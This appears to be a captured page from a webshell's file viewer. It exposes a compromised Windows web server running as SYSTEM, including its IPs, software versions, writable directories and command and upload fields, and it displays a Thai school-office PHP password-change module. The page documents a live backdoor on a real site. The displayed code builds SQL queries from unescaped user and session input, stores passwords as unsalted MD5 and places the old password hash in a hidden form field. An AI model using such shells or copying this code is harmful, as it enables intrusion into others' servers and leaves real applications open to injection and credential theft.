403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Inetpub/www/myoffice/2565/modules/usersch/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Inetpub/www/myoffice/2565/modules/usersch/usersch.php
<div align="left">
	  <table cellspacing="0" cellpadding="0" width="100%" height=500 border="0">
        <tbody>
          <tr>
            <td vAlign=top><div align="center">
<?
 if($_GET[op] == "minepass_edit" AND $_GET[action] == "edit"){
	//////////////////////////////////////////// กรณีแก้ไขข้อมูลส่วนตัว
	if($_GET[op]){
		//ดึงค่าของผู้ดูแลระบบออกมา	
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[usersch] = $db->select_query("SELECT * FROM ".TB_usersch." WHERE username='".$_SESSION['usersch_user']."' ");
//		$res[user] = $db->select_query("SELECT * FROM ".TB_user." WHERE id='".$_GET[id]."' ");
		$arr[usersch] = $db->fetch($res[usersch]);
		$db->closedb ();
			if(!$_POST[USERNAME] ){
				$ProcessOutput .= "<BR><BR>";
				$ProcessOutput .= "<CENTER><IMG SRC=\"images/icon/notview.gif\" BORDER=\"0\"><BR><BR>";
				$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>คุณไม่ได้แทรกรูปภาพประจำตัวคุณ</B></FONT><BR><BR>";
				$ProcessOutput .= "<A HREF=\"javascript:history.go(-1);\"><B>กลับไปแก้ไข</B></A>";
				$ProcessOutput .= "</CENTER>";
				$ProcessOutput .= "<BR><BR>";
			}else{
				$User_User = $_SESSION[usersch_user];
				if($_POST[PASSWORD]){
					$NewPass = md5($_POST[PASSWORD]);
					$URLre = "?name=user";
					session_unset();
					session_destroy();
				}else{
					$NewPass = $_POST[oldpass];
					$URLre = "?name=usersch&file=main";
				}
				
				//ทำการแก้ไขข้อมูลลงดาต้าเบส
				$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
				$db->update_db(TB_usersch,array(
					"username"=>"$_POST[USERNAME]",
					"password"=>"$NewPass",
					"update_date"=>"".TIMESTAMP.""
				)," username='$User_User' ");
				$db->closedb ();
				$ProcessOutput .= "<BR><BR>";
				$ProcessOutput .= "<CENTER><A HREF=\"".$URLre."\"><IMG SRC=\"images/icon/login-welcome.gif\" BORDER=\"0\"></A><BR><BR>";
				$ProcessOutput .= "<FONT COLOR=\"#336600\"><B>ได้ทำการเปลี่ยนรหัสเรียบร้อยแล้ว</B></FONT><BR><BR>";
				$ProcessOutput .= "<A HREF=\"index.php\"><B>กรุณารอคลิกเข้าสู่ระบบ</B></A>";
				$ProcessOutput .= "</CENTER>";
		}
	}else{
		//กรณีไม่ผ่าน
		$ProcessOutput = $PermissionFalse ;
	}
	echo $ProcessOutput ;
}
else if($_GET[op] == "minepass_edit"){
	//////////////////////////////////////////// กรณีแก้ไขข้อมูลส่วนตัว
	if($_GET[op]){
		//ดึงค่าของผู้ดูแลระบบออกมา
		$db->connectdb(DB_NAME,DB_USERNAME,DB_PASSWORD);
		$res[usersch] = $db->select_query("SELECT * FROM ".TB_usersch." WHERE username='".$_SESSION['usersch_user']."' ");
		$arr[usersch] = $db->fetch($res[usersch]);
		$db->closedb ();
?>
                              <form method="post" name="frmregis" action="?name=usersch&amp;file=usersch&amp;op=minepass_edit&amp;action=edit" enctype="multipart/form-data" onSubmit="return checkregis()">
<BR><BR>
                                <table width="500" >
                                  <tr>
                                    <td>
									<div align="right"><b>ชื่อผู้ใช้ :</b></div></td>
                                    <td align="left"><input type="hidden" name="USERNAME" size="40" value="<?=$arr[usersch][username];?>" readonly="readonly" style="color=#FF0000;" /><?=$arr[usersch][username];?></td>
                                  </tr>
                                  <tr>
                                    <td><div align="right"><b>รหัสผ่านใหม่ </b></div></td>
                                   <td align="left"><input type="password" name="PASSWORD" size="20" value="" />&nbsp;<input type="submit" value=" บันทึก " /></td>
                                  </tr>
                                  <tr>
                                    <td><div align="right"></div></td>
                                    <td>
                                        <input type="hidden" name="oldpass" value="<?=$arr[usersch][password];?>" /></td>
                                  </tr>
                                </table>
                              </form>
                              <?
	}else{
		//กรณีไม่ผ่าน
		echo $PermissionFalse ;
	}
}
?>
</td>
          </tr>
        </tbody>
      </table>
	
</div>

Youez - 2016 - github.com/yon3zu
LinuXploit